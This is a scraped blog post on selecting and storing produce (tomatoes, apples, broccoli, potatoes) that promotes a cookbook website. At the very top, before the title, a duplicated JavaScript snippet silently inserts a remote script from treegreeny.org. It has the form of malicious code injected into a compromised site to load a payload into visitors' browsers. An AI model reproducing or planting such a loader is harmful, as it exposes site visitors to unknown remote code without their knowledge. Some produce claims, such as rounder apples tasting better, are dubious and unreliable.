;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); ;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); How to shop like a professional cook – El Hombre – Not only for men

How to shop like a professional cook

Venn diagram illustrating the relation between...
Image via Wikipedia

You know what cracks me up when I go food shopping?
Other shoppers often ask me for advice.
They ask me things like whether the broccoli
crowns look good-or what do I think of the tomatoes.

These aren’t people who know me, mind you.
Sometimes yes–I run into a neighbor here or there.
But mostly these are strangers.

I kid you not!

The first time it happened I looked down at my
clothing.  Was I dressed like a store employee, I
wondered?

I’m still taken by surprise when this occurs.
Because usually I’m minding my own
business…tapping melons & sniffing lemons.

Ok…maybe that’s why they ask me for advice.  I
look like I know what I’m doing.  I don’t grab a
stalk of celery while talking on the cell
phone–blindly stuffing it into a plastic bag.
Instead, I examine it for firm texture-checking to
see  it has no brown edges.

Today I’m going to give you some pointers on how to
select the best produce when shopping.

Hopefully you’re buying organic and visiting
farmer’s markets.  But even if you’re not-these
tips can help you select quality fruits and
vegetables.

When you shop you need to depend on
3 senses-    sight,    smell,   and touch.

Let’s go…

Tomatoes–When you buy tomatoes, be sure to choose
ones with  firm texture-not too hard and not too
soft. Avoid pale or spotted tomatoes.  Be sure to
smell for tomato fragrance.  The stronger the aroma,
the deeper the flavor.  Do not chill tomatoes, store
them at room temperature.

If you place a tomato stem-side down you can further
the ripening process. Depending on where you live,
local tomatoes are available July thru October.

Apples-Here’s a little known secret about apples:
the rounder the shape, the more flavorful the fruit!
Feel for any soft spots-you want crisp, not mushy.

The only time you want overripe, soft apples is when
you plan to cook with them.  And be sure to do the
nose test.  A quality apple will smell good even 4-6
inches from your face.  Apples can be stored  up to
3 days in the fridge to preserve freshness.

Broccoli-The tender sweetness of ripe broccoli has
made such a difference in flavor to me, I’ve been known to
show  fellow shoppers how to choose broccoli–whether
they ask me or not.

Choose broccoli that is dark green or has a purple tinge
in the floret. Not only does it taste better-but the vegetable
is packing lots of beta carotene at that stage.  Pale green or
yellowish means the stalk is past prime.  Make sure
the stems are firm but not woody.

Like all produce, broccoli should be stored unwashed.
To keep it crisp, place in a loosely closed plastic bag
-and store in crisper section of fridge. Use within 2-3 days of
purchase.

That was quite a lot of information, wasn’t it?

Well you haven’t seen anything yet.  Healthy Urban
Kitchen covers it all-from arugula to zucchini.  If
you feel goofy and clueless about selecting high quality
fruits and vegetables …your problems are over.

http://www.healthyurbankitchen.com

Wait! I’ve got one more for you:

Potatoes-Make sure potatoes aren’t green, are
sprout free and have few to no eyes.  Eyes mean the
potatoes are old.  Dirt on potatoes is fine.  Don’t
wash until ready to use.

Yukon gold potatoes are considered the best for mashed,
red potatoes are best for boiling & are particularly nice
in potato salad. Russet potatoes are ideal for baking and frying.

Potatoes are best stored in a brown bag. Plastic bags
increase risk of mold growth. Store in a cool, dark
place with ventilation.  Avoid storing with onions!
Storing these vegetables together causes spoilage of
both.

Potatoes can be stored for up to 2 months.  But be
sure to check for any sprouting.  If you see sprouts,
toss the potato.

Well, that’s it for now.  If you found this
information on choosing and storing produce
useful-you’re going to LOVE the Healthy Urban
Kitchen Cookbook.  It goes into lots of detail about any
type of food you can think of.

http://www.healthyurbankitchen.com

And hey, don’t be surprised if people start
approaching you  at the store for advice on choosing vegetables or
fruits.

Related articles
Reblog this post [with Zemanta]

What others are writing!